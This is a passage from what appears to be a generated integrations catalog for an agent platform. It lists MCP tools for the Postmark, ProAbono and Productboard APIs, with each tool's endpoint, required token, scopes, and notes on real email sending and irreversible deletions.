message still counts as one against the quota. POST /api/v1/postmark/email. Scopes: api. postmark_post_email_batch (write) — Send a batch of emails via POST /email/batch. Needs the Postmark SERVER API token (a server's own API Tokens tab). SENDS REAL EMAIL to real mailboxes and counts against the account's monthly quota (the free tier is 100 messages/month), and Postmark applies a real compliance review to sending accounts. To exercise this safely, point the connection at a SANDBOX server -- messages are accepted and recorded but never delivered -- and note that a sandboxed message still counts as one against the quota. POST /api/v1/postmark/email/batch. Scopes: api. postmark_post_email_batchwithtemplates (write) — Send a batch of email using templates. via POST /email/batchWithTemplates. Needs the Postmark SERVER API token (a server's own API Tokens tab). SENDS REAL EMAIL to real mailboxes and counts against the account's monthly quota (the free tier is 100 messages/month), and Postmark applies a real compliance review to sending accounts. To exercise this safely, point the connection at a SANDBOX server -- messages are accepted and recorded but never delivered -- and note that a sandboxed message still counts as one against the quota. POST /api/v1/postmark/email/batchWithTemplates. Scopes: api. postmark_post_email_bulk (write) — Send bulk emails via POST /email/bulk. Needs the Postmark SERVER API token (a server's own API Tokens tab). SENDS REAL EMAIL to real mailboxes and counts against the account's monthly quota (the free tier is 100 messages/month), and Postmark applies a real compliance review to sending accounts. To exercise this safely, point the connection at a SANDBOX server -- messages are accepted and recorded but never delivered -- and note that a sandboxed message still counts as one against the quota.. The Bulk Email API is available to all Postmark customers but needs per-account approval: until it is enabled, this answers 422 ErrorCode 14 "This endpoint requires approval to access." Contact Postmark support to turn it on. A bulk request also belongs to the server that submitted it, so asking about one with a different server's token answers 404 ErrorCode 12 -- the same answer as a nonexistent id. POST /api/v1/postmark/email/bulk. Scopes: api. postmark_post_email_withtemplate (write) — Send an email using a Template via POST /email/withTemplate. Needs the Postmark SERVER API token (a server's own API Tokens tab). SENDS REAL EMAIL to real mailboxes and counts against the account's monthly quota (the free tier is 100 messages/month), and Postmark applies a real compliance review to sending accounts. To exercise this safely, point the connection at a SANDBOX server -- messages are accepted and recorded but never delivered -- and note that a sandboxed message still counts as one against the quota. POST /api/v1/postmark/email/withTemplate. Scopes: api. postmark_post_message_streams (write) — Create a message stream via POST /message-streams. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/message-streams. Scopes: api. postmark_post_message_streams_by_stream_id_archive (write, destructive) — Archive a message stream via POST /message-streams/{stream_ID}/archive. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/message-streams/{stream_ID}/archive. Scopes: api. postmark_post_message_streams_by_stream_id_suppressions (write) — Create suppressions on a message stream via POST /message-streams/{stream_ID}/suppressions. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/message-streams/{stream_ID}/suppressions. Scopes: api. postmark_post_message_streams_by_stream_id_suppressions_delete (write, destructive) — Delete suppressions from a message stream via POST /message-streams/{stream_ID}/suppressions/delete. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/message-streams/{stream_ID}/suppressions/delete. Scopes: api. postmark_post_message_streams_by_stream_id_unarchive (write) — Unarchive a message stream via POST /message-streams/{stream_ID}/unarchive. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/message-streams/{stream_ID}/unarchive. Scopes: api. postmark_post_senders (write) — Create a Sender Signature via POST /senders. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/senders. Scopes: api. postmark_post_senders_by_signatureid_requestnewdkim (write) — Request a new DKIM Key via POST /senders/{signatureid}/requestnewdkim. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/senders/{signatureid}/requestnewdkim. Scopes: api. postmark_post_senders_by_signatureid_resend (write) — Resend Signature Confirmation Email via POST /senders/{signatureid}/resend. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/senders/{signatureid}/resend. Scopes: api. postmark_post_senders_by_signatureid_verifyspf (write) — Request DNS Verification for SPF (senders) via POST /senders/{signatureid}/verifyspf. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/senders/{signatureid}/verifyspf. Scopes: api. postmark_post_servers (write) — Create a Server via POST /servers. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/servers. Scopes: api. postmark_post_templates (write) — Create a Template via POST /templates. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/templates. Scopes: api. postmark_post_templates_validate (write) — Test Template Content via POST /templates/validate. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/templates/validate. Scopes: api. postmark_post_triggers_inboundrules (write) — Create an inbound rule trigger via POST /triggers/inboundrules. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/triggers/inboundrules. Scopes: api. postmark_post_webhooks (write) — Create webhook via POST /webhooks. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/webhooks. Scopes: api. postmark_post_webhooks_by_id_verify (write) — Verify webhook via POST /webhooks/{Id}/verify. Needs the Postmark SERVER API token (a server's own API Tokens tab) POST /api/v1/postmark/webhooks/{Id}/verify. Scopes: api. postmark_put_bounces_by_bounceid_activate (write) — Activate a bounce via PUT /bounces/{bounceid}/activate. Needs the Postmark SERVER API token (a server's own API Tokens tab) PUT /api/v1/postmark/bounces/{bounceid}/activate. Scopes: api. postmark_put_domains_by_domainid (write) — Update a Domain via PUT /domains/{domainid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) PUT /api/v1/postmark/domains/{domainid}. Scopes: api. postmark_put_domains_by_domainid_verifydkim (write) — Verify domain dkim via PUT /domains/{domainid}/verifyDkim. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) PUT /api/v1/postmark/domains/{domainid}/verifyDkim. Scopes: api. postmark_put_domains_by_domainid_verifyreturnpath (write) — Verify domain return path via PUT /domains/{domainid}/verifyReturnPath. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) PUT /api/v1/postmark/domains/{domainid}/verifyReturnPath. Scopes: api. postmark_put_messages_inbound_by_messageid_bypass (write) — Bypass rules for a blocked inbound message via PUT /messages/inbound/{messageid}/bypass. Needs the Postmark SERVER API token (a server's own API Tokens tab) PUT /api/v1/postmark/messages/inbound/{messageid}/bypass. Scopes: api. postmark_put_messages_inbound_by_messageid_retry (write) — Retry a failed inbound message for processing via PUT /messages/inbound/{messageid}/retry. Needs the Postmark SERVER API token (a server's own API Tokens tab) PUT /api/v1/postmark/messages/inbound/{messageid}/retry. Scopes: api. postmark_put_senders_by_signatureid (write) — Update a Sender Signature via PUT /senders/{signatureid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) PUT /api/v1/postmark/senders/{signatureid}. Scopes: api. postmark_put_server (write) — Edit Server Configuration via PUT /server. Needs the Postmark SERVER API token (a server's own API Tokens tab) PUT /api/v1/postmark/server. Scopes: api. postmark_put_servers_by_serverid (write) — Edit a Server via PUT /servers/{serverid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) PUT /api/v1/postmark/servers/{serverid}. Scopes: api. postmark_put_templates_by_templateidoralias (write) — Update a Template via PUT /templates/{templateIdOrAlias}. Needs the Postmark SERVER API token (a server's own API Tokens tab) PUT /api/v1/postmark/templates/{templateIdOrAlias}. Scopes: api. postmark_put_webhooks_by_id (write) — Edit webhook via PUT /webhooks/{Id}. Needs the Postmark SERVER API token (a server's own API Tokens tab) PUT /api/v1/postmark/webhooks/{Id}. Scopes: api. ================================================================================ ## ProAbono URL: https://www.agenticfabriq.com/integrations/proabono Section: Integrated Tools ProAbono — 41 MCP tools Provider key: proabono. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. proabono_get_balancelines (read) — List balancelines via GET /BalanceLines GET /api/v1/proabono/BalanceLines. Scopes: api. proabono_get_customer (read) — Retrieve customer via GET /Customer GET /api/v1/proabono/Customer. Scopes: api. proabono_get_customerbillingaddress (read) — Retrieve customer billing address via GET /CustomerBillingAddress GET /api/v1/proabono/CustomerBillingAddress. Scopes: api. proabono_get_customers (read) — List customers via GET /Customers GET /api/v1/proabono/Customers. Scopes: api. proabono_get_customersettingspayment (read) — Retrieve customer payment settings via GET /CustomerSettingsPayment GET /api/v1/proabono/CustomerSettingsPayment. Scopes: api. proabono_get_feature (read) — Retrieve feature via GET /Feature GET /api/v1/proabono/Feature. Scopes: api. proabono_get_features (read) — List features via GET /Features GET /api/v1/proabono/Features. Scopes: api. proabono_get_invoice (read) — Retrieve invoice by query via GET /Invoice GET /api/v1/proabono/Invoice. Scopes: api. proabono_get_invoice_by_idinvoice (read) — Retrieve invoice via GET /Invoice/{IdInvoice} GET /api/v1/proabono/Invoice/{IdInvoice}. Scopes: api. proabono_get_invoices (read) — List invoices via GET /Invoices GET /api/v1/proabono/Invoices. Scopes: api. proabono_get_offer (read) — Retrieve offer via GET /Offer GET /api/v1/proabono/Offer. Scopes: api. proabono_get_offers (read) — List offers via GET /Offers GET /api/v1/proabono/Offers. Scopes: api. proabono_get_subscription (read) — Retrieve subscription by customer via GET /Subscription GET /api/v1/proabono/Subscription. Scopes: api. proabono_get_subscription_by_idsubscription (read) — Retrieve subscription via GET /Subscription/{IdSubscription} GET /api/v1/proabono/Subscription/{IdSubscription}. Scopes: api. proabono_get_subscriptions (read) — List subscriptions via GET /Subscriptions GET /api/v1/proabono/Subscriptions. Scopes: api. proabono_get_usage (read) — Retrieve usage via GET /Usage GET /api/v1/proabono/Usage. Scopes: api. proabono_get_usages (read) — List usages via GET /Usages GET /api/v1/proabono/Usages. Scopes: api. proabono_post_balanceline (write) — Create balanceline via POST /BalanceLine POST /api/v1/proabono/BalanceLine. Scopes: api. proabono_post_billing_customer (write) — Bill customer via POST /Billing/Customer POST /api/v1/proabono/Billing/Customer. Scopes: api. proabono_post_customer (write) — Create or update customer via POST /Customer POST /api/v1/proabono/Customer. Scopes: api. proabono_post_customer_anonymization (write, destructive) — Anonymize customer via POST /Customer/Anonymization POST /api/v1/proabono/Customer/Anonymization. Scopes: api. proabono_post_customer_by_idcustomer_invalidation (write, destructive) — Invalidate customer by id via POST /Customer/{idCustomer}/Invalidation POST /api/v1/proabono/Customer/{idCustomer}/Invalidation. Scopes: api. proabono_post_customer_by_idcustomer_suspension (write, destructive) — Suspend customer by id via POST /Customer/{idCustomer}/Suspension POST /api/v1/proabono/Customer/{idCustomer}/Suspension. Scopes: api. proabono_post_customer_invalidation (write, destructive) — Invalidate customer via POST /Customer/Invalidation POST /api/v1/proabono/Customer/Invalidation. Scopes: api. proabono_post_customer_linksrevokation (write, destructive) — Revoke customer crypted links via POST /Customer/LinksRevokation POST /api/v1/proabono/Customer/LinksRevokation. Scopes: api. proabono_post_customer_suspension (write, destructive) — Suspend customer via POST /Customer/Suspension POST /api/v1/proabono/Customer/Suspension. Scopes: api. proabono_post_customerbillingaddress (write) — Update customer billing address via POST /CustomerBillingAddress POST /api/v1/proabono/CustomerBillingAddress. Scopes: api. proabono_post_customersettingspayment (write) — Update customer payment settings via POST /CustomerSettingsPayment POST /api/v1/proabono/CustomerSettingsPayment. Scopes: api. proabono_post_pricing_balanceline (read) — Quote balanceline via POST /Pricing/BalanceLine POST /api/v1/proabono/Pricing/BalanceLine. Scopes: api. proabono_post_pricing_subscription (read) — Quote subscription via POST /Pricing/Subscription POST /api/v1/proabono/Pricing/Subscription. Scopes: api. proabono_post_pricing_subscription_by_idsubscription_start (read) — Quote subscription start via POST /Pricing/Subscription/{IdSubscription}/Start POST /api/v1/proabono/Pricing/Subscription/{IdSubscription}/Start. Scopes: api. proabono_post_pricing_subscription_by_idsubscription_upgrade (read) — Quote subscription upgrade via POST /Pricing/Subscription/{IdSubscription}/Upgrade POST /api/v1/proabono/Pricing/Subscription/{IdSubscription}/Upgrade. Scopes: api. proabono_post_pricing_usage (read) — Quote usage update via POST /Pricing/Usage POST /api/v1/proabono/Pricing/Usage. Scopes: api. proabono_post_subscription (write) — Create subscription via POST /Subscription POST /api/v1/proabono/Subscription. Scopes: api. proabono_post_subscription_by_idsubscription_dateterm (write) — Update subscription term date via POST /Subscription/{IdSubscription}/DateTerm POST /api/v1/proabono/Subscription/{IdSubscription}/DateTerm. Scopes: api. proabono_post_subscription_by_idsubscription_start (write) — Start subscription via POST /Subscription/{IdSubscription}/Start POST /api/v1/proabono/Subscription/{IdSubscription}/Start. Scopes: api. proabono_post_subscription_by_idsubscription_suspension (write) — Suspend subscription via POST /Subscription/{IdSubscription}/Suspension POST /api/v1/proabono/Subscription/{IdSubscription}/Suspension. Scopes: api. proabono_post_subscription_by_idsubscription_termination (write, destructive) — Terminate subscription via POST /Subscription/{IdSubscription}/Termination POST /api/v1/proabono/Subscription/{IdSubscription}/Termination. Scopes: api. proabono_post_subscription_by_idsubscription_upgrade (write) — Upgrade subscription via POST /Subscription/{IdSubscription}/Upgrade POST /api/v1/proabono/Subscription/{IdSubscription}/Upgrade. Scopes: api. proabono_post_usage (write) — Update usage via POST /Usage POST /api/v1/proabono/Usage. Scopes: api. proabono_post_usages (write) — Update multiple usages via POST /Usages POST /api/v1/proabono/Usages. Scopes: api. ================================================================================ ## Productboard URL: https://www.agenticfabriq.com/integrations/productboard Section: Integrated Tools Productboard — 59 MCP tools Provider key: productboard. Scopes: analytics:read, entities:delete, entities:read, entities:write, fields:write, jira-integrations:read, members:read, notes:delete, notes:read, notes:write, plugin-integrations:delete, plugin-integrations:read, plugin-integrations:write, teams:delete, teams:read, teams:write, webhooks:delete, webhooks:read, webhooks:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. productboard_delete_entities_by_id (write, destructive) — Deletes a Product Management entity by ID. This operation permanently removes the specified entity from your workspace. If the entity has any child entities (e.g. a product with components, or a feature with subfeatures), those children will be **deleted automatically** as part of a cascading delete. **Use this endpoint with caution — deletion is irreversible.** via DELETE /v2/entities/{id} DELETE /api/v1/productboard/entities/{id}. Scopes: entities:delete. productboard_delete_entities_by_id_relationships_by_type_by_targetid (write, destructive) — Removes a relationship between two Entities. Use the `type` query parameter to indicate which kind of relationship you want to remove. via DELETE /v2/entities/{id}/relationships/{type}/{targetId} DELETE /api/v1/productboard/entities/{id}/relationships/{type}/{targetId}. Scopes: entities:write. productboard_delete_entities_fields_by_id_values_by_valueid (write, destructive) — Deletes a value (option) from a select-type field (SINGLE_SELECT, MULTI_SELECT, TAG). **STATUS fields are not supported.** Status values are managed through the status lifecycle (not this endpoint) and cannot be deleted here. By default, deletion is rejected if the value is currently assigned to any entities. Use `force` to unset the value from all entities, or `replaceWith` to move all assignments to another value. These two parameters are mutually exclusive - providing both results in a 400 error. via DELETE /v2/entities/fields/{id}/values/{valueId} DELETE /api/v1/productboard/entities/fields/{id}/values/{valueId}. Scopes: fields:write. productboard_delete_notes_by_id (write, destructive) — Permanently deletes a note from your workspace. This action is irreversible and should be used with caution. Once deleted, the note and all of its content, metadata, and relationships will be removed and cannot be recovered. > To perform a soft-delete (archiving), use an update call instead to set the `archived` flag. via DELETE /v2/notes/{id} DELETE /api/v1/productboard/notes/{id}. Scopes: notes:delete. productboard_delete_notes_by_id_relationships_by_targettype_by_targetid (write, destructive) — Deletes a relationship between a note and a target entity (customer or link). This is used to unlink a note from: * **customer**: A user or company associated with the note * **link**: A specific feature, component, or other product For customer relationships, the targetId should be the UUID of the customer or organization. For link relationships, the targetId should be the UUID of the feature, component or product entity. > **Note**: For customer relationships, the targetId parameter can be any UUID as it is ignored during deletion. The endpoint will remove all customer relationships from the note regardless of the targetId value provided. via DELETE /v2/notes/{id}/relationships/{targetType}/{targetId} DELETE /api/v1/productboard/notes/{id}/relationships/{targetType}/{targetId}. Scopes: notes:write. productboard_delete_plugin_integrations_by_integrationid (write, destructive) — Permanently deletes a plugin integration and all its associated connections. Entities that previously had connections to this integration will have their push buttons removed. This action cannot be undone. **OAuth2 isolation**: returns `404` if the integration was created by a different OAuth2 application or by a public API access token. via DELETE /v2/plugin-integrations/{integrationId} DELETE /api/v1/productboard/plugin-integrations/{integrationId}. Scopes: plugin-integrations:delete. productboard_delete_plugin_integrations_by_integrationid_connections_by_entityid (write, destructive) — Permanently deletes the connection between an entity and the third-party system, resetting the push button to its initial unconnected state. This is equivalent to calling the Configure Connection endpoint with `state: initial`. via DELETE /v2/plugin-integrations/{integrationId}/connections/{entityId} DELETE /api/v1/productboard/plugin-integrations/{integrationId}/connections/{entityId}. Scopes: plugin-integrations:write. productboard_delete_teams_by_id (write, destructive) — Permanently deletes a team from your workspace. This operation removes the team and all its membership associations. **Use this endpoint with caution — deletion is irreversible.** via DELETE /v2/teams/{id} DELETE /api/v1/productboard/teams/{id}. Scopes: teams:delete. productboard_delete_webhooks_by_webhookid (write, destructive) — Permanently deletes a webhook subscription. No further notifications will be sent after deletion. **OAuth2 isolation**: returns `404` if the subscription was created by a different OAuth2 application or by a public API access token. via DELETE /v2/webhooks/{webhookId} DELETE /api/v1/productboard/webhooks/{webhookId}. Scopes: webhooks:delete. productboard_get_analytics_member_activities (read) — Lists member activity data with optional date filtering and pagination. Returns a list of member activity records. via GET /v2/analytics/member-activities GET /api/v1/productboard/analytics/member-activities. Scopes: analytics:read. productboard_get_entities (read) — Retrieves a paginated list of Entities. You can filter results, sort them, and control which fields are returned. > Without the `members:pii:read` scope, owner email fields are returned as `[redacted]`. Filtering by `owner[email]` requires the `members:pii:read` scope. Without the `users:pii:read` scope, user entity name and email fields are returned as `[redacted]`. Use the `type[]` query parameter to filter by one or more entity types (e.g. `type[]=feature&type[]=initiative`). Use the `fields` parameter to request only the fields you need. ## Filter availability Not all filters apply to all entity types. For example, `status` filtering is only available for types that have a status field (e.g. `feature`, `initiative`), and `parent[id]` only works for types that have a parent relationship. Use `GET /v2/entities/configurations/{type}` to check which filters are supported for a specific type. The `filters` array in the configuration response lists all available filter parameters, their exact query parameter names, and value schemas. ## Limitations - Only the `AND` operator is supported when applying multiple filters. `OR`, `NOT`, or nested conditions are not supported. via GET /v2/entities GET /api/v1/productboard/entities. Scopes: entities:read. productboard_get_entities_by_id (read) — Retrieves all configured fields and values for the specified Entities. Use this endpoint to load complete data for a single entity. > Without the `members:pii:read` scope, owner email is returned as `[redacted]`. Without the `users:pii:read` scope, user entity name and email fields are returned as `[redacted]`. You can limit the fields returned using the `fields` query parameter. via GET /v2/entities/{id} GET /api/v1/productboard/entities/{id}. Scopes: entities:read. productboard_get_entities_by_id_relationships (read) — Retrieves all relationships associated with a specific Entities. This includes parent, child, and linked entities. Use this endpoint to understand how an entity is connected within the product hierarchy or planning structure. The source entity is implicit (this entity). via GET /v2/entities/{id}/relationships GET /api/v1/productboard/entities/{id}/relationships. Scopes: entities:read. productboard_get_entities_by_id_score (read) — > 🚧 Beta > > This endpoint is in **beta**. Its behavior may change, or it may be removed, > in a future release without notice. We recommend against relying on it in > production integrations. Retrieves the aggregated customer score for a single product hierarchy entity, identified by its UUID. Use this endpoint to see, as a single number, how important an entity is to your customers based on the feedback attached to it and everything below it in the hierarchy. The `id` must be the UUID of a **product hierarchy entity** - a product, component, feature, or subfeature. ## Key Features - Aggregates customer importance ratings on the entity **and all of its descendants** in the product hierarchy. - Ratings are weighted by importance level, and anonymous feedback also contributes: - `critical` × 3 - `important` × 2 - `nice to have` × 1 - `unknown` × 1 - each anonymous note × 1 - `not important` ratings do not contribute to the score. ## Important Notes - Returns a score of `0` when the entity has no customer importance data. - Returns `404` when `id` does not match a product hierarchy entity in your workspace (for example, a company, note, or user ID). via GET /v2/entities/{id}/score GET /api/v1/productboard/entities/{id}/score. Scopes: entities:read. productboard_get_entities_configurations (read) — Returns metadata for all available Entities type, including supported fields, patch operations, and validation rules. Use this to programmatically discover what entity types are available for your workspace, which fields are required, what types are available, and how your workspace is configured. via GET /v2/entities/configurations GET /api/v1/productboard/entities/configurations. Scopes: entities:read. productboard_get_entities_configurations_by_type (read) — Returns metadata for a specific Entities type, including supported fields, patch operations, and validation rules. Use this to programmatically discover which fields are required, what types are available, and how your workspace is configured. via GET /v2/entities/configurations/{type} GET /api/v1/productboard/entities/configurations/{type}. Scopes: entities:read. productboard_get_entities_fields_by_id_values (read) — Returns a paginated list of allowed values for select-type and status fields (SINGLE_SELECT, MULTI_SELECT, TAG, STATUS). Use this endpoint to retrieve all available options for fields with many values, or when you need to paginate through all values. For fields with fewer values (≤1000), the values are returned inline in the field response. For fields with more values, the field response contains a reference to this endpoint. Tag fields are returned using the same `SelectOptionValue` shape as MULTI_SELECT, since tags are multi-select internally. via GET /v2/entities/fields/{id}/values GET /api/v1/productboard/entities/fields/{id}/values. Scopes: entities:read. productboard_get_jira_integrations (read) — Returns detail of all Jira integrations. This API is paginated using cursor-based pagination. The client should follow the `links.next` link in the response to fetch the next page. via GET /v2/jira-integrations GET /api/v1/productboard/jira-integrations. Scopes: jira-integrations:read. productboard_get_jira_integrations_by_integrationid (read) — Returns detail of a specific Jira integration identified by its UUID. Use this endpoint to retrieve comprehensive information about a single integration including its name, status, creation timestamp, and related resource links. via GET /v2/jira-integrations/{integrationId} GET /api/v1/productboard/jira-integrations/{integrationId}. Scopes: jira-integrations:read. productboard_get_jira_integrations_by_integrationid_connections (read) — Returns detail of all Productboard feature - Jira issue connections for given integration. It also allows to find a connection by Jira issue key or ID. This API is paginated using cursor-based pagination. The client should follow the `links.next` link in the response to fetch the next page. via GET /v2/jira-integrations/{integrationId}/connections GET /api/v1/productboard/jira-integrations/{integrationId}/connections. Scopes: jira-integrations:read. productboard_get_jira_integrations_by_integrationid_connections_by_entityid (read) — Returns detail of a specific Productboard feature - Jira issue connection identified by integration UUID and entity UUID. Use this endpoint to retrieve information about the link between a Productboard feature and its corresponding Jira issue. via GET /v2/jira-integrations/{integrationId}/connections/{entityId} GET /api/v1/productboard/jira-integrations/{integrationId}/connections/{entityId}. Scopes: jira-integrations:read. productboard_get_members (read) — Retrieves a paginated list of members from your workspace. Members represent users who have access to your Productboard workspace. - Members are sorted by creation date, oldest first. - Use the `query` parameter to search by name or email (case-insensitive, partial match). - Use the `roles[]` parameter to filter by role(s). Multiple roles use OR logic (e.g., `roles[]=admin&roles[]=maker`). - Use the `includeDisabled` parameter to include disabled members in the response. - Use the `includeInvited` parameter to include invited members with pending invitations. - Use the `pageCursor` parameter to paginate through results. > Without the `members:pii:read` OAuth scope, PII fields (`name`, `username`, `email`) are returned as `[redacted]`. via GET /v2/members GET /api/v1/productboard/members. Scopes: members:read. productboard_get_members_by_id (read) — Retrieves the full details of a specific member by their unique identifier (UUID). Returns the member's profile information including name, username, email address, and workspace role. > Without the `members:pii:read` OAuth scope, PII fields (`name`, `username`, `email`) are returned as `[redacted]`. via GET /v2/members/{id} GET /api/v1/productboard/members/{id}. Scopes: members:read. productboard_get_notes (read) — Retrieves a list of notes from your workspace. > Without the `members:pii:read` scope, owner and creator email fields are returned as `[redacted]`. Filtering by `owner[email]` or `creator[email]` requires the `members:pii:read` scope. - Notes are sorted by creation date, newest first. - You can filter results using query parameters like `archived`, `processed`, `owner[email]`, `creator[email]`, `metadata[source][system]`, `metadata[source][recordId]`, or date/time ranges. - Use the `pageCursor` parameter to paginate through results. - Use the `fields` query parameter to optimize response size (default: all non-null fields, use `fields=all` to include null values, or `fields=name,tags` for specific fields). > To discover available fields use the [`/v2/notes/configurations`](#/paths/~1v2~1notes~1configurations/get) endpoint. ### Date/Time Filtering You can filter notes by creation or update timestamps using ISO-8601 date-time format: - Use `createdFrom` and `createdTo` to filter by creation date (inclusive bounds) - Use `updatedFrom` and `updatedTo` to filter by update date (inclusive bounds) - All date/time filters can be combined with each other and with other filters - Date ranges must be valid (From <= To) or a 400 error will be returned ### Filtering combinations Some combinations of the `archived` and `processed` flags result in empty or unexpected results. Use the following table to understand which notes are returned based on the filter values: | `archived` | `processed` | Result | |------------|-------------|---------------------------| | – | – | All notes | | `true` | `true` | None | | `true` | `false` | Archived | | `false` | `true` | Processed | | `false` | `false` | Unprocessed | | `true` | – | Archived | | `false` | – | Processed + unprocessed | | – | `true` | Processed | | – | `false` | Archived + unprocessed | > **Note**: Archived notes always return `processed: false` in the API response, regardless of their actual processing state. This is a known limitation of the system. via GET /v2/notes GET /api/v1/productboard/notes. Scopes: notes:read. productboard_get_notes_by_id (read) — Retrieves the full details of a specific note by its ID. > Without the `members:pii:read` scope, owner and creator email fields are returned as `[redacted]`. By default, the response includes all non-null fields available in your workspace for that note type (e.g. `textNote`, `conversationNote`). You can optimize the response size by using the `fields` query parameter: - Use `fields=name,tags,content` to retrieve only specific fields - Use `fields=all` to include all fields, even those with null values You can use this endpoint to display the entire note content, including metadata such as owner, tags, and relationships. > Use the [`/v2/notes/configurations`](#/paths/~1v2~1notes~1configurations/get) endpoint to discover which fields are available for your workspace. via GET /v2/notes/{id} GET /api/v1/productboard/notes/{id}. Scopes: notes:read. productboard_get_notes_by_id_relationships (read) — Retrieves all relationships connected to a specific note. This includes: - Customer relationship (either a User or Company entity) - Product link relationships (e.g. linked features) ### Customer relationship rules - A note can have a relationship to **exactly one customer entity** (User or Company). - If the note has a **User** as the customer, and that User is associated with a Company, only the **User** is returned. - If the note has a **User** without a Company, the User is returned. - If the note has a **Company**, the Company is returned. - If the note has no customer relationship, an empty array is returned. ### Product link relationships - Notes can be linked to **multiple Product Management entities** (e.g. features, components). - All such relationships are returned in the same response. > To discover supported relationship types, use the [`/v2/notes/configurations`](#/paths/~1v2~1notes~1configurations/get) endpoint. via GET /v2/notes/{id}/relationships GET /api/v1/productboard/notes/{id}/relationships. Scopes: notes:read. productboard_get_notes_configurations (read) — Returns configuration metadata for note types, including supported fields, patch operations, and validation rules. Use this endpoint to programmatically discover which fields are available, what note types are supported, and how your workspace is configured. ### Filtering by Type By default, this endpoint returns configurations for all available note types (`textNote`, `conversationNote`, `opportunityNote`). You can filter results to specific types using the optional `type[]` query parameter: - `type[]=textNote` - `type[]=textNote&type[]=conversationNote` For backward compatibility, the API also accepts a single `type` query parameter with one value, for example `type=textNote`. Legacy aliases (`simple`, `conversation`, `opportunity`) are also accepted and normalized to the canonical values above. via GET /v2/notes/configurations GET /api/v1/productboard/notes/configurations. Scopes: notes:read. productboard_get_notes_configurations_by_type (read) — Returns configuration metadata for a specific note type, including supported fields, patch operations, and validation rules. Use this endpoint to programmatically discover the configuration for a specific note type. via GET /v2/notes/configurations/{type} GET /api/v1/productboard/notes/configurations/{type}. Scopes: notes:read. productboard_get_plugin_integrations (read) — Returns all plugin integrations for the workspace. Paginated using cursor-based pagination. Follow `links.next` to fetch the next page. When `links.next` is `null`, you have reached the last page. **OAuth2 isolation**: OAuth2 access tokens only see integrations created by the same OAuth2 application. Public API access tokens see all workspace integrations. via GET /v2/plugin-integrations GET /api/v1/productboard/plugin-integrations. Scopes: plugin-integrations:read. productboard_get_plugin_integrations_by_integrationid (read) — Returns a single plugin integration by ID. **OAuth2 isolation**: returns `404` if the integration was created by a different OAuth2 application or by a public API access token (existence is masked for security). via GET /v2/plugin-integrations/{integrationId} GET /api/v1/productboard/plugin-integrations/{integrationId}. Scopes: plugin-integrations:read. productboard_get_plugin_integrations_by_integrationid_connections (read) — Returns all connections for a plugin integration, **excluding** those in the `initial` state. The `initial` state is the default — it means no connection has been established for that entity yet. Paginated using cursor-based pagination. Follow `links.next` to fetch the next page. When `links.next` is `null`, you have reached the last page. via GET /v2/plugin-integrations/{integrationId}/connections GET /api/v1/productboard/plugin-integrations/{integrationId}/connections. Scopes: plugin-integrations:read. productboard_get_plugin_integrations_by_integrationid_connections_by_entityid (read) — Returns the connection for a specific entity within a plugin integration. **Important**: if no connection exists for the entity, this endpoint returns a connection with `state: initial` rather than a `404`. The `initial` state indicates the entity has not yet been pushed to the third-party system. via GET /v2/plugin-integrations/{integrationId}/connections/{entityId} GET /api/v1/productboard/plugin-integrations/{integrationId}/connections/{entityId}. Scopes: plugin-integrations:read. productboard_get_teams (read) — Retrieves a paginated list of teams from your workspace. Teams represent groups of members that can be used for organizing work and assigning ownership. - Teams are sorted by creation date, newest first. - Use the `name` parameter to filter by name (case-insensitive exact match). - Use the `handle` parameter to filter by handle (case-insensitive exact match). - Use the `query` parameter to search by partial name or handle (case-insensitive). For example, `query=product` will match "Product Team", "My Product", "production", etc. - Use the `pageCursor` parameter to paginate through results. via GET /v2/teams GET /api/v1/productboard/teams. Scopes: teams:read. productboard_get_teams_by_id (read) — Retrieves the full details of a specific team by its unique identifier (UUID). Returns the team's name, handle, description, avatar URL, and metadata such 